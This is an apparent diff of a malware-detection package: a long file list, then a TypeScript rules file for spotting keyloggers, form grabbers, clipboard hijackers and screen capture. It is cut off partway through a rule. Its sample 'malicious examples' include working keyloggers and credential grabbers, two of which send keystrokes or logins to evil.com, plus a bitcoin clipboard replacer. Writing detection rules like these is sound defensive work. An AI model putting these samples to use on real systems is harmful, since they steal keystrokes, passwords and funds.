  487. package/src/analyzers/javascript/taintAnalyzer.ts +630 -0
  488. package/src/analyzers/php/index.ts +5 -0
  489. package/src/analyzers/php/phpAnalyzer.ts +280 -0
  490. package/src/analyzers/python/index.ts +5 -0
  491. package/src/analyzers/python/pythonAnalyzer.ts +319 -0
  492. package/src/cli/index.ts +276 -0
  493. package/src/dependencies/aiDependencyAnalyzer.ts +496 -0
  494. package/src/dependencies/database/cveDatabase.ts +426 -0
  495. package/src/dependencies/database/index.ts +6 -0
  496. package/src/dependencies/database/maliciousPackages.ts +286 -0
  497. package/src/dependencies/dependencyAnalyzer.ts +394 -0
  498. package/src/dependencies/detectors/index.ts +7 -0
  499. package/src/dependencies/detectors/securityStandards.ts +200 -0
  500. package/src/dependencies/detectors/vulnerabilityDetector.ts +343 -0
  501. package/src/dependencies/index.ts +27 -0
  502. package/src/dependencies/installed/index.ts +8 -0
  503. package/src/dependencies/installed/installedScanner.ts +821 -0
  504. package/src/dependencies/installed/malwarePatterns.ts +492 -0
  505. package/src/dependencies/installed/types.ts +287 -0
  506. package/src/dependencies/parsers/base/baseParser.ts +108 -0
  507. package/src/dependencies/parsers/base/index.ts +6 -0
  508. package/src/dependencies/parsers/cpp/cppParser.ts +245 -0
  509. package/src/dependencies/parsers/cpp/index.ts +6 -0
  510. package/src/dependencies/parsers/csharp/csharpParser.ts +151 -0
  511. package/src/dependencies/parsers/csharp/index.ts +6 -0
  512. package/src/dependencies/parsers/index.ts +56 -0
  513. package/src/dependencies/parsers/java/index.ts +6 -0
  514. package/src/dependencies/parsers/java/javaParser.ts +203 -0
  515. package/src/dependencies/parsers/javascript/index.ts +6 -0
  516. package/src/dependencies/parsers/javascript/javascriptParser.ts +362 -0
  517. package/src/dependencies/parsers/php/index.ts +6 -0
  518. package/src/dependencies/parsers/php/phpParser.ts +208 -0
  519. package/src/dependencies/parsers/python/index.ts +6 -0
  520. package/src/dependencies/parsers/python/pythonParser.ts +437 -0
  521. package/src/dependencies/types.ts +330 -0
  522. package/src/i18n/index.ts +1 -0
  523. package/src/i18n/translations.ts +194 -0
  524. package/src/index.ts +16 -0
  525. package/src/reports/dependencyReportGenerator.ts +717 -0
  526. package/src/reports/htmlReportGenerator.ts +781 -0
  527. package/src/reports/index.ts +7 -0
  528. package/src/reports/installedDepsReportGenerator.ts +899 -0
  529. package/src/rules/index.ts +58 -0
  530. package/src/rules/malware/INFO.md +287 -0
  531. package/src/rules/malware/categories/backdoors.ts +174 -0
  532. package/src/rules/malware/categories/cryptominers.ts +434 -0
  533. package/src/rules/malware/categories/exfiltration.ts +677 -0
  534. package/src/rules/malware/categories/keyloggers.ts +780 -0
  535. package/src/rules/malware/categories/loaders.ts +721 -0
  536. package/src/rules/malware/categories/network.ts +639 -0
  537. package/src/rules/malware/categories/obfuscation.ts +788 -0
  538. package/src/rules/malware/constants/index.ts +358 -0
  539. package/src/rules/malware/engine/index.ts +758 -0
  540. package/src/rules/malware/index.ts +928 -0
  541. package/src/rules/malware/scoring/index.ts +549 -0
  542. package/src/rules/malware/types/index.ts +752 -0
  543. package/src/rules/malware/utils/index.ts +643 -0
  544. package/src/rules/standards.ts +372 -0
  545. package/src/rules/vulnerabilities/PROMPT_VULNERABILITIES.md +226 -0
  546. package/src/rules/vulnerabilities/constants/index.ts +625 -0
  547. package/src/rules/vulnerabilities/engine/index.ts +831 -0
  548. package/src/rules/vulnerabilities/index.ts +312 -0
  549. package/src/rules/vulnerabilities/rules/authentication.ts +426 -0
  550. package/src/rules/vulnerabilities/rules/commandInjection.ts +307 -0
  551. package/src/rules/vulnerabilities/rules/csrf.ts +268 -0
  552. package/src/rules/vulnerabilities/rules/deserialization.ts +343 -0
  553. package/src/rules/vulnerabilities/rules/fileUpload.ts +332 -0
  554. package/src/rules/vulnerabilities/rules/hardcodedSecrets.ts +453 -0
  555. package/src/rules/vulnerabilities/rules/index.ts +17 -0
  556. package/src/rules/vulnerabilities/rules/pathTraversal.ts +358 -0
  557. package/src/rules/vulnerabilities/rules/prototypePollution.ts +279 -0
  558. package/src/rules/vulnerabilities/rules/securityMisconfiguration.ts +445 -0
  559. package/src/rules/vulnerabilities/rules/sqlInjection.ts +669 -0
  560. package/src/rules/vulnerabilities/rules/ssrf.ts +408 -0
  561. package/src/rules/vulnerabilities/rules/xss.ts +753 -0
  562. package/src/rules/vulnerabilities/scoring/index.ts +543 -0
  563. package/src/rules/vulnerabilities/types/index.ts +1004 -0
  564. package/src/rules/vulnerabilities/utils/index.ts +709 -0
  565. package/src/types/index.ts +391 -0
  566. package/src/utils/index.ts +306 -0
  567. package/src/utils/logger.ts +150 -0
  568. package/test-installed-scanner.ts +136 -0
  569. package/tsconfig.json +30 -0
@@ -0,0 +1,780 @@
1
+ /**
2
+ * @fileoverview Keylogger and Spyware Detection Rules
3
+ * @module rules/malware/categories/keyloggers
4
+ *
5
+ * Comprehensive rules for detecting keylogging and spyware including:
6
+ * - JavaScript keyloggers (browser-based)
7
+ * - System-level keyloggers (Python, C#, C/C++)
8
+ * - Form grabbers
9
+ * - Clipboard monitors
10
+ * - Screen capture malware
11
+ */
12
+
13
+ import {
14
+ MalwareRule,
15
+ MalwareThreatType,
16
+ MalwareCategory,
17
+ MalwareSeverity,
18
+ ConfidenceLevel,
19
+ SupportedLanguage,
20
+ PatternType,
21
+ MitreTactic
22
+ } from '../types';
23
+
24
+ // ============================================================================
25
+ // JAVASCRIPT KEYLOGGER RULES
26
+ // ============================================================================
27
+
28
+ export const jsKeyloggerRules: MalwareRule[] = [
29
+ {
30
+ id: 'MAL-KEY-001',
31
+ name: 'JavaScript Keylogger - Event Listener',
32
+ description: 'Detects JavaScript code that captures keyboard events with potential data exfiltration.',
33
+ version: '2.0.0',
34
+ threatType: MalwareThreatType.KEYLOGGER,
35
+ category: MalwareCategory.SPYWARE,
36
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
37
+ severity: MalwareSeverity.CRITICAL,
38
+ confidence: ConfidenceLevel.HIGH,
39
+ baseScore: 85,
40
+ patterns: [
41
+ {
42
+ type: PatternType.REGEX,
43
+ patternId: 'keydown-listener',
44
+ pattern: 'addEventListener\\s*\\([\'"]key(?:down|up|press)[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios|sendBeacon|WebSocket)',
45
+ flags: 'gis',
46
+ weight: 1.0,
47
+ description: 'Key event listener with network activity'
48
+ },
49
+ {
50
+ type: PatternType.REGEX,
51
+ patternId: 'onkey-handler',
52
+ pattern: '(?:document|window)\\.onkey(?:down|up|press)\\s*=\\s*function[\\s\\S]*?(?:http|fetch|send)',
53
+ flags: 'gis',
54
+ weight: 1.0,
55
+ description: 'onkey handler with network call'
56
+ },
57
+ {
58
+ type: PatternType.REGEX,
59
+ patternId: 'key-accumulator',
60
+ pattern: 'key(?:down|up|press)[\\s\\S]*?(?:push|concat|\\+=)[\\s\\S]*?(?:key|char|which|keyCode)',
61
+ flags: 'gis',
62
+ weight: 0.8,
63
+ description: 'Key accumulation pattern'
64
+ },
65
+ {
66
+ type: PatternType.REGEX,
67
+ patternId: 'input-monitor',
68
+ pattern: 'addEventListener\\s*\\([\'"]input[\'"][\\s\\S]*?(?:\\$\\.post|fetch|XMLHttpRequest)',
69
+ flags: 'gis',
70
+ weight: 0.9,
71
+ description: 'Input monitoring with exfiltration'
72
+ }
73
+ ],
74
+ amplifyingPatterns: [
75
+ {
76
+ type: PatternType.REGEX,
77
+ patternId: 'password-focus',
78
+ pattern: 'type\\s*[=:]\\s*[\'"]password[\'"]|\\[type=password\\]',
79
+ flags: 'gi',
80
+ weight: 0.5,
81
+ description: 'Password field targeting'
82
+ },
83
+ {
84
+ type: PatternType.REGEX,
85
+ patternId: 'hidden-exfil',
86
+ pattern: 'display\\s*:\\s*none|visibility\\s*:\\s*hidden|position\\s*:\\s*absolute[^}]*-9999',
87
+ flags: 'gi',
88
+ weight: 0.3,
89
+ description: 'Hidden exfiltration elements'
90
+ }
91
+ ],
92
+ falsePositivePatterns: [
93
+ {
94
+ type: PatternType.REGEX,
95
+ patternId: 'analytics-context',
96
+ pattern: 'analytics|tracking|hotjar|mouseflow|fullstory',
97
+ flags: 'gi',
98
+ weight: 0.4,
99
+ description: 'Legitimate analytics tools'
100
+ }
101
+ ],
102
+ maliciousExamples: [
103
+ {
104
+ code: `let keys = [];
105
+ document.addEventListener('keydown', (e) => {
106
+ keys.push(e.key);
107
+ if (keys.length >= 20) {
108
+ fetch('https://evil.com/log', {
109
+ method: 'POST',
110
+ body: JSON.stringify({ keys: keys, url: location.href })
111
+ });
112
+ keys = [];
113
+ }
114
+ });`,
115
+ language: SupportedLanguage.JAVASCRIPT,
116
+ isMalicious: true,
117
+ description: 'Keylogger with batch exfiltration'
118
+ }
119
+ ],
120
+ falsePositiveExamples: [
121
+ {
122
+ code: `document.addEventListener('keydown', (e) => {
123
+ if (e.key === 'Escape') {
124
+ closeModal();
125
+ }
126
+ });`,
127
+ language: SupportedLanguage.JAVASCRIPT,
128
+ isMalicious: false,
129
+ description: 'Legitimate keyboard shortcut handler'
130
+ }
131
+ ],
132
+ impact: {
133
+ technical: 'Captures and exfiltrates user keystrokes including passwords and sensitive data.',
134
+ business: 'Credential theft, data breach, identity theft risk.',
135
+ affectedAssets: ['User credentials', 'Sensitive input data'],
136
+ dataAtRisk: ['Passwords', 'Personal information', 'Financial data']
137
+ },
138
+ remediation: {
139
+ summary: 'Remove keylogger code and audit all keyboard event handlers.',
140
+ steps: [
141
+ 'Remove the malicious event listeners',
142
+ 'Audit all keyboard event handlers in the codebase',
143
+ 'Implement Content Security Policy',
144
+ 'Review third-party scripts',
145
+ 'Consider using virtual keyboards for sensitive input'
146
+ ]
147
+ },
148
+ mitreAttack: [
149
+ {
150
+ tacticId: MitreTactic.CREDENTIAL_ACCESS,
151
+ tacticName: 'Credential Access',
152
+ techniqueId: 'T1056.001',
153
+ techniqueName: 'Keylogging',
154
+ url: 'https://attack.mitre.org/techniques/T1056/001/'
155
+ },
156
+ {
157
+ tacticId: MitreTactic.COLLECTION,
158
+ tacticName: 'Collection',
159
+ techniqueId: 'T1056',
160
+ techniqueName: 'Input Capture',
161
+ url: 'https://attack.mitre.org/techniques/T1056/'
162
+ }
163
+ ],
164
+ tags: ['keylogger', 'javascript', 'spyware', 'credential-theft', 'critical'],
165
+ enabled: true
166
+ },
167
+ {
168
+ id: 'MAL-KEY-002',
169
+ name: 'JavaScript Keylogger - Form Grabber',
170
+ description: 'Detects form submission interception and data stealing.',
171
+ version: '2.0.0',
172
+ threatType: MalwareThreatType.CREDENTIAL_STEALER,
173
+ category: MalwareCategory.SPYWARE,
174
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
175
+ severity: MalwareSeverity.CRITICAL,
176
+ confidence: ConfidenceLevel.HIGH,
177
+ baseScore: 88,
178
+ patterns: [
179
+ {
180
+ type: PatternType.REGEX,
181
+ patternId: 'form-submit-intercept',
182
+ pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|\\$\\.post)',
183
+ flags: 'gis',
184
+ weight: 0.9,
185
+ description: 'Form submit interception with exfil'
186
+ },
187
+ {
188
+ type: PatternType.REGEX,
189
+ patternId: 'form-data-grab',
190
+ pattern: 'new\\s+FormData\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?!same-origin)',
191
+ flags: 'gis',
192
+ weight: 0.8,
193
+ description: 'FormData extraction and sending'
194
+ },
195
+ {
196
+ type: PatternType.REGEX,
197
+ patternId: 'login-form-target',
198
+ pattern: 'querySelector\\s*\\([\'"][^\'\"]*(?:login|signin|password)[^\'\"]*[\'"]\\)[\\s\\S]*?(?:value|innerText)',
199
+ flags: 'gis',
200
+ weight: 0.9,
201
+ description: 'Login form field extraction'
202
+ },
203
+ {
204
+ type: PatternType.REGEX,
205
+ patternId: 'parallel-exfil',
206
+ pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:Image|img)\\.src\\s*=',
207
+ flags: 'gis',
208
+ weight: 1.0,
209
+ description: 'Image beacon exfiltration on submit'
210
+ }
211
+ ],
212
+ maliciousExamples: [
213
+ {
214
+ code: `document.querySelector('form[action*="login"]').addEventListener('submit', (e) => {
215
+ const formData = new FormData(e.target);
216
+ const img = new Image();
217
+ img.src = 'https://evil.com/steal?u=' + encodeURIComponent(formData.get('username')) +
218
+ '&p=' + encodeURIComponent(formData.get('password'));
219
+ });`,
220
+ language: SupportedLanguage.JAVASCRIPT,
221
+ isMalicious: true,
222
+ description: 'Login form grabber with image beacon'
223
+ }
224
+ ],
225
+ impact: {
226
+ technical: 'Intercepts form submissions to steal credentials and sensitive data.',
227
+ business: 'Direct credential theft leading to account compromise.',
228
+ affectedAssets: ['User accounts', 'Login credentials'],
229
+ dataAtRisk: ['Usernames', 'Passwords', 'Form data']
230
+ },
231
+ remediation: {
232
+ summary: 'Remove form grabber and implement form submission monitoring.',
233
+ steps: [
234
+ 'Remove malicious form event listeners',
235
+ 'Audit all form submit handlers',
236
+ 'Implement Subresource Integrity for scripts',
237
+ 'Use CSP to restrict data exfiltration'
238
+ ]
239
+ },
240
+ mitreAttack: [
241
+ {
242
+ tacticId: MitreTactic.CREDENTIAL_ACCESS,
243
+ tacticName: 'Credential Access',
244
+ techniqueId: 'T1056.003',
245
+ techniqueName: 'Web Portal Capture',
246
+ url: 'https://attack.mitre.org/techniques/T1056/003/'
247
+ }
248
+ ],
249
+ tags: ['keylogger', 'form-grabber', 'credential-theft', 'critical'],
250
+ enabled: true
251
+ }
252
+ ];
253
+
254
+ // ============================================================================
255
+ // SYSTEM KEYLOGGER RULES
256
+ // ============================================================================
257
+
258
+ export const systemKeyloggerRules: MalwareRule[] = [
259
+ {
260
+ id: 'MAL-KEY-010',
261
+ name: 'Python Keylogger - pynput Library',
262
+ description: 'Detects Python keyloggers using the pynput library.',
263
+ version: '2.0.0',
264
+ threatType: MalwareThreatType.KEYLOGGER,
265
+ category: MalwareCategory.SPYWARE,
266
+ languages: [SupportedLanguage.PYTHON],
267
+ severity: MalwareSeverity.CRITICAL,
268
+ confidence: ConfidenceLevel.CONFIRMED,
269
+ baseScore: 90,
270
+ patterns: [
271
+ {
272
+ type: PatternType.REGEX,
273
+ patternId: 'pynput-listener',
274
+ pattern: 'pynput\\.keyboard\\.Listener\\s*\\(',
275
+ flags: 'gi',
276
+ weight: 0.9,
277
+ description: 'pynput keyboard listener'
278
+ },
279
+ {
280
+ type: PatternType.REGEX,
281
+ patternId: 'pynput-onpress',
282
+ pattern: 'on_press\\s*=\\s*(?:lambda|def)',
283
+ flags: 'gi',
284
+ weight: 0.8,
285
+ description: 'pynput on_press callback'
286
+ },
287
+ {
288
+ type: PatternType.REGEX,
289
+ patternId: 'keyboard-hook-log',
290
+ pattern: 'keyboard\\.on_(?:press|release)[\\s\\S]*?(?:write|append|log|send|post)',
291
+ flags: 'gis',
292
+ weight: 1.0,
293
+ description: 'Keyboard hook with logging'
294
+ }
295
+ ],
296
+ amplifyingPatterns: [
297
+ {
298
+ type: PatternType.REGEX,
299
+ patternId: 'file-write',
300
+ pattern: 'open\\s*\\([^)]+,\\s*[\'"][wa][\'"]\\)[\\s\\S]*?write',
301
+ flags: 'gis',
302
+ weight: 0.4,
303
+ description: 'File write operation'
304
+ },
305
+ {
306
+ type: PatternType.REGEX,
307
+ patternId: 'smtp-send',
308
+ pattern: 'smtplib\\.SMTP|sendmail',
309
+ flags: 'gi',
310
+ weight: 0.5,
311
+ description: 'Email sending capability'
312
+ }
313
+ ],
314
+ maliciousExamples: [
315
+ {
316
+ code: `from pynput.keyboard import Key, Listener
317
+ import logging
318
+
319
+ logging.basicConfig(filename="keylog.txt", level=logging.DEBUG)
320
+
321
+ def on_press(key):
322
+ logging.info(str(key))
323
+
324
+ with Listener(on_press=on_press) as listener:
325
+ listener.join()`,
326
+ language: SupportedLanguage.PYTHON,
327
+ isMalicious: true,
328
+ description: 'Python keylogger with file logging'
329
+ }
330
+ ],
331
+ impact: {
332
+ technical: 'System-level keystroke capture on the host machine.',
333
+ business: 'Complete credential and data theft capability.',
334
+ affectedAssets: ['All user input', 'System credentials'],
335
+ dataAtRisk: ['All keystrokes', 'Passwords', 'Messages']
336
+ },
337
+ remediation: {
338
+ summary: 'Remove the keylogger script and investigate the installation vector.',
339
+ steps: [
340
+ 'Remove the malicious Python script',
341
+ 'Check for persistence mechanisms',
342
+ 'Audit installed Python packages',
343
+ 'Change all potentially compromised credentials'
344
+ ]
345
+ },
346
+ mitreAttack: [
347
+ {
348
+ tacticId: MitreTactic.CREDENTIAL_ACCESS,
349
+ tacticName: 'Credential Access',
350
+ techniqueId: 'T1056.001',
351
+ techniqueName: 'Keylogging',
352
+ url: 'https://attack.mitre.org/techniques/T1056/001/'
353
+ }
354
+ ],
355
+ tags: ['keylogger', 'python', 'pynput', 'spyware', 'critical'],
356
+ enabled: true
357
+ },
358
+ {
359
+ id: 'MAL-KEY-011',
360
+ name: 'Windows Keylogger - SetWindowsHookEx',
361
+ description: 'Detects Windows API-based keyloggers using SetWindowsHookEx.',
362
+ version: '2.0.0',
363
+ threatType: MalwareThreatType.KEYLOGGER,
364
+ category: MalwareCategory.SPYWARE,
365
+ languages: [SupportedLanguage.C, SupportedLanguage.CPP, SupportedLanguage.CSHARP],
366
+ severity: MalwareSeverity.CRITICAL,
367
+ confidence: ConfidenceLevel.CONFIRMED,
368
+ baseScore: 92,
369
+ patterns: [
370
+ {
371
+ type: PatternType.REGEX,
372
+ patternId: 'setwindowshookex-kb',
373
+ pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD',
374
+ flags: 'gi',
375
+ weight: 1.0,
376
+ description: 'Keyboard hook installation'
377
+ },
378
+ {
379
+ type: PatternType.REGEX,
380
+ patternId: 'lowlevelkeyboard',
381
+ pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD_LL',
382
+ flags: 'gi',
383
+ weight: 1.0,
384
+ description: 'Low-level keyboard hook'
385
+ },
386
+ {
387
+ type: PatternType.REGEX,
388
+ patternId: 'getasynckeystate',
389
+ pattern: 'GetAsyncKeyState\\s*\\([^)]*\\)',
390
+ flags: 'gi',
391
+ weight: 0.7,
392
+ description: 'GetAsyncKeyState polling'
393
+ },
394
+ {
395
+ type: PatternType.REGEX,
396
+ patternId: 'getkeystate',
397
+ pattern: 'GetKeyState\\s*\\([^)]*\\)',
398
+ flags: 'gi',
399
+ weight: 0.6,
400
+ description: 'GetKeyState polling'
401
+ }
402
+ ],
403
+ amplifyingPatterns: [
404
+ {
405
+ type: PatternType.REGEX,
406
+ patternId: 'vk-codes',
407
+ pattern: 'VK_(?:BACK|TAB|RETURN|SHIFT|CONTROL|MENU|SPACE)',
408
+ flags: 'g',
409
+ weight: 0.3,
410
+ description: 'Virtual key code constants'
411
+ }
412
+ ],
413
+ maliciousExamples: [
414
+ {
415
+ code: `HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);
416
+ MSG msg;
417
+ while (GetMessage(&msg, NULL, 0, 0)) {
418
+ TranslateMessage(&msg);
419
+ DispatchMessage(&msg);
420
+ }`,
421
+ language: SupportedLanguage.CPP,
422
+ isMalicious: true,
423
+ description: 'Windows low-level keyboard hook'
424
+ }
425
+ ],
426
+ impact: {
427
+ technical: 'Low-level Windows keyboard hook capturing all keystrokes.',
428
+ business: 'Complete system credential and input compromise.',
429
+ affectedAssets: ['All Windows input', 'System credentials'],
430
+ dataAtRisk: ['All keystrokes', 'System passwords', 'Sensitive data']
431
+ },
432
+ remediation: {
433
+ summary: 'Remove the keylogger binary and clean the system.',
434
+ steps: [
435
+ 'Terminate the malicious process',
436
+ 'Remove the executable and any persistence',
437
+ 'Scan system with antimalware tools',
438
+ 'Reset all credentials'
439
+ ]
440
+ },
441
+ tags: ['keylogger', 'windows', 'hook', 'native', 'critical'],
442
+ enabled: true
443
+ },
444
+ {
445
+ id: 'MAL-KEY-012',
446
+ name: 'C# Keylogger - .NET Keyboard Hook',
447
+ description: 'Detects .NET-based keyloggers using keyboard hooks.',
448
+ version: '2.0.0',
449
+ threatType: MalwareThreatType.KEYLOGGER,
450
+ category: MalwareCategory.SPYWARE,
451
+ languages: [SupportedLanguage.CSHARP],
452
+ severity: MalwareSeverity.CRITICAL,
453
+ confidence: ConfidenceLevel.HIGH,
454
+ baseScore: 88,
455
+ patterns: [
456
+ {
457
+ type: PatternType.REGEX,
458
+ patternId: 'dotnet-hook',
459
+ pattern: '\\[DllImport\\([\'"]user32\\.dll[\'"]\\)\\][\\s\\S]*?SetWindowsHookEx',
460
+ flags: 'gis',
461
+ weight: 1.0,
462
+ description: '.NET SetWindowsHookEx import'
463
+ },
464
+ {
465
+ type: PatternType.REGEX,
466
+ patternId: 'keyboard-interceptor',
467
+ pattern: 'class\\s+\\w*(?:Keyboard|Key)(?:Logger|Hook|Interceptor)',
468
+ flags: 'gi',
469
+ weight: 0.7,
470
+ description: 'Keyboard interceptor class'
471
+ },
472
+ {
473
+ type: PatternType.REGEX,
474
+ patternId: 'rawkeyboard',
475
+ pattern: 'RawKeyboardHook|GlobalKeyboardHook',
476
+ flags: 'gi',
477
+ weight: 0.9,
478
+ description: 'Raw keyboard hook libraries'
479
+ }
480
+ ],
481
+ maliciousExamples: [
482
+ {
483
+ code: `[DllImport("user32.dll")]
484
+ public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
485
+
486
+ private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
487
+ if (nCode >= 0) {
488
+ int vkCode = Marshal.ReadInt32(lParam);
489
+ StreamWriter sw = new StreamWriter(@"C:\\keylog.txt", true);
490
+ sw.Write((Keys)vkCode);
491
+ sw.Close();
492
+ }
493
+ return CallNextHookEx(_hookID, nCode, wParam, lParam);
494
+ }`,
495
+ language: SupportedLanguage.CSHARP,
496
+ isMalicious: true,
497
+ description: 'C# keylogger with file logging'
498
+ }
499
+ ],
500
+ impact: {
501
+ technical: '.NET application capturing keyboard input.',
502
+ business: 'Credential theft through keyboard monitoring.',
503
+ affectedAssets: ['User input', 'Credentials'],
504
+ dataAtRisk: ['Keystrokes', 'Passwords']
505
+ },
506
+ remediation: {
507
+ summary: 'Remove the .NET keylogger and audit managed applications.',
508
+ steps: [
509
+ 'Remove the malicious assembly',
510
+ 'Check for .NET persistence',
511
+ 'Audit installed .NET applications',
512
+ 'Reset credentials'
513
+ ]
514
+ },
515
+ tags: ['keylogger', 'csharp', 'dotnet', 'windows', 'critical'],
516
+ enabled: true
517
+ }
518
+ ];
519
+
520
+ // ============================================================================
521
+ // CLIPBOARD MONITOR RULES
522
+ // ============================================================================
523
+
524
+ export const clipboardMonitorRules: MalwareRule[] = [
525
+ {
526
+ id: 'MAL-KEY-020',
527
+ name: 'Clipboard Stealer - Cryptocurrency Address Replacement',
528
+ description: 'Detects clipboard hijacking malware that replaces cryptocurrency addresses.',
529
+ version: '2.0.0',
530
+ threatType: MalwareThreatType.CREDENTIAL_STEALER,
531
+ category: MalwareCategory.SPYWARE,
532
+ languages: [
533
+ SupportedLanguage.JAVASCRIPT,
534
+ SupportedLanguage.PYTHON,
535
+ SupportedLanguage.CSHARP
536
+ ],
537
+ severity: MalwareSeverity.HIGH,
538
+ confidence: ConfidenceLevel.HIGH,
539
+ baseScore: 78,
540
+ patterns: [
541
+ {
542
+ type: PatternType.REGEX,
543
+ patternId: 'clipboard-monitor-js',
544
+ pattern: 'navigator\\.clipboard\\.(?:readText|read)\\s*\\([\\s\\S]*?(?:match|test|includes)[\\s\\S]*?(?:btc|bitcoin|ethereum|monero|0x)',
545
+ flags: 'gis',
546
+ weight: 1.0,
547
+ description: 'JS clipboard read with crypto detection'
548
+ },
549
+ {
550
+ type: PatternType.REGEX,
551
+ patternId: 'clipboard-replace',
552
+ pattern: 'navigator\\.clipboard\\.writeText\\s*\\([^)]*(?:wallet|address|0x)',
553
+ flags: 'gis',
554
+ weight: 0.9,
555
+ description: 'Clipboard write with wallet address'
556
+ },
557
+ {
558
+ type: PatternType.REGEX,
559
+ patternId: 'pyperclip-monitor',
560
+ pattern: 'pyperclip\\.(?:paste|copy)[\\s\\S]*?(?:btc|bitcoin|eth|monero|wallet)',
561
+ flags: 'gis',
562
+ weight: 1.0,
563
+ description: 'Python pyperclip with crypto'
564
+ },
565
+ {
566
+ type: PatternType.REGEX,
567
+ patternId: 'dotnet-clipboard',
568
+ pattern: 'Clipboard\\.(?:GetText|SetText)[\\s\\S]*?(?:Regex|Match)[\\s\\S]*?(?:btc|bitcoin|ethereum)',
569
+ flags: 'gis',
570
+ weight: 1.0,
571
+ description: '.NET clipboard with crypto regex'
572
+ }
573
+ ],
574
+ maliciousExamples: [
575
+ {
576
+ code: `import pyperclip
577
+ import re
578
+ btc_pattern = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$'
579
+ attacker_wallet = '1Attacker...'
580
+ while True:
581
+ clip = pyperclip.paste()
582
+ if re.match(btc_pattern, clip):
583
+ pyperclip.copy(attacker_wallet)`,
584
+ language: SupportedLanguage.PYTHON,
585
+ isMalicious: true,
586
+ description: 'BTC address clipboard replacer'
587
+ }
588
+ ],
589
+ impact: {
590
+ technical: 'Monitors and modifies clipboard content to steal cryptocurrency.',
591
+ business: 'Direct financial theft through address replacement.',
592
+ affectedAssets: ['Cryptocurrency wallets', 'Clipboard data'],
593
+ dataAtRisk: ['Cryptocurrency funds', 'Clipboard contents']
594
+ },
595
+ remediation: {
596
+ summary: 'Remove clipboard hijacker and verify all recent transactions.',
597
+ steps: [
598
+ 'Remove the malicious script/application',
599
+ 'Review recent cryptocurrency transactions',
600
+ 'Enable clipboard access notifications',
601
+ 'Verify addresses before transactions'
602
+ ]
603
+ },
604
+ mitreAttack: [
605
+ {
606
+ tacticId: MitreTactic.COLLECTION,
607
+ tacticName: 'Collection',
608
+ techniqueId: 'T1115',
609
+ techniqueName: 'Clipboard Data',
610
+ url: 'https://attack.mitre.org/techniques/T1115/'
611
+ }
612
+ ],
613
+ tags: ['clipboard', 'cryptocurrency', 'stealer', 'high'],
614
+ enabled: true
615
+ },
616
+ {
617
+ id: 'MAL-KEY-021',
618
+ name: 'Clipboard Monitor - General Data Theft',
619
+ description: 'Detects general clipboard monitoring for data theft.',
620
+ version: '2.0.0',
621
+ threatType: MalwareThreatType.DATA_EXFILTRATION,
622
+ category: MalwareCategory.SPYWARE,
623
+ languages: [
624
+ SupportedLanguage.JAVASCRIPT,
625
+ SupportedLanguage.TYPESCRIPT,
626
+ SupportedLanguage.PYTHON
627
+ ],
628
+ severity: MalwareSeverity.MEDIUM,
629
+ confidence: ConfidenceLevel.MEDIUM,
630
+ baseScore: 60,
631
+ patterns: [
632
+ {
633
+ type: PatternType.REGEX,
634
+ patternId: 'clipboard-interval',
635
+ pattern: 'setInterval[\\s\\S]*?navigator\\.clipboard\\.readText',
636
+ flags: 'gis',
637
+ weight: 0.9,
638
+ description: 'Periodic clipboard reading'
639
+ },
640
+ {
641
+ type: PatternType.REGEX,
642
+ patternId: 'clipboard-exfil',
643
+ pattern: 'navigator\\.clipboard\\.readText[\\s\\S]*?(?:fetch|XMLHttpRequest|sendBeacon)',
644
+ flags: 'gis',
645
+ weight: 1.0,
646
+ description: 'Clipboard read with exfiltration'
647
+ }
648
+ ],
649
+ maliciousExamples: [
650
+ {
651
+ code: `setInterval(async () => {
652
+ const clip = await navigator.clipboard.readText();
653
+ if (clip !== lastClip) {
654
+ fetch('/log', { method: 'POST', body: clip });
655
+ lastClip = clip;
656
+ }
657
+ }, 1000);`,
658
+ language: SupportedLanguage.JAVASCRIPT,
659
+ isMalicious: true,
660
+ description: 'Clipboard monitoring with exfiltration'
661
+ }
662
+ ],
663
+ impact: {
664
+ technical: 'Continuous clipboard monitoring and data exfiltration.',
665
+ business: 'Data theft of copied sensitive information.',
666
+ affectedAssets: ['Clipboard data'],
667
+ dataAtRisk: ['Passwords', 'API keys', 'Sensitive text']
668
+ },
669
+ remediation: {
670
+ summary: 'Remove clipboard monitor and audit clipboard permissions.',
671
+ steps: [
672
+ 'Remove the monitoring code',
673
+ 'Review clipboard permission grants',
674
+ 'Audit for similar patterns'
675
+ ]
676
+ },
677
+ tags: ['clipboard', 'monitor', 'exfiltration', 'medium'],
678
+ enabled: true
679
+ }
680
+ ];
681
+
682
+ // ============================================================================
683
+ // SCREEN CAPTURE RULES
684
+ // ============================================================================
685
+
686
+ export const screenCaptureRules: MalwareRule[] = [
687
+ {
688
+ id: 'MAL-KEY-030',
689
+ name: 'Screen Capture Malware',
690
+ description: 'Detects screen capture functionality used for spyware.',
691
+ version: '2.0.0',
692
+ threatType: MalwareThreatType.DATA_EXFILTRATION,
693
+ category: MalwareCategory.SPYWARE,
694
+ languages: [
695
+ SupportedLanguage.JAVASCRIPT,
696
+ SupportedLanguage.PYTHON,
697
+ SupportedLanguage.CSHARP
698
+ ],
699
+ severity: MalwareSeverity.HIGH,
700
+ confidence: ConfidenceLevel.MEDIUM,
701
+ baseScore: 70,
702
+ patterns: [
703
+ {
704
+ type: PatternType.REGEX,
705
+ patternId: 'js-screen-capture',
706
+ pattern: 'getDisplayMedia[\\s\\S]*?(?:fetch|XMLHttpRequest|WebSocket|sendBeacon)',
707
+ flags: 'gis',
708
+ weight: 0.8,
709
+ description: 'Screen capture with exfiltration'
710
+ },
711
+ {
712
+ type: PatternType.REGEX,
713
+ patternId: 'canvas-exfil',
714
